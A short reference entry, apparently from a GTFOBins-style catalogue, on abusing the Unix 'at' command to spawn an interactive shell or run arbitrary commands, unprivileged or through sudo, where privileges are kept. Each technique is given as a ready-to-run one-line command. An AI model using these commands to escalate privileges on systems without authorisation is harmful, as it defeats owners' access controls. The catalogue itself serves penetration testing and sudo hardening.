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Shell

This executable can spawn an interactive system shell.

Comment
tail is used to pause the terminal.
Unprivileged
This function can be performed by any unprivileged user.
```
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
```

Command

This executable can run non-interactive system commands.

Unprivileged
This function can be performed by any unprivileged user.
```
echo /path/to/command | at now
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo /path/to/command | at now
```
Output
The commands are executed but their output is hidden from the attacker.

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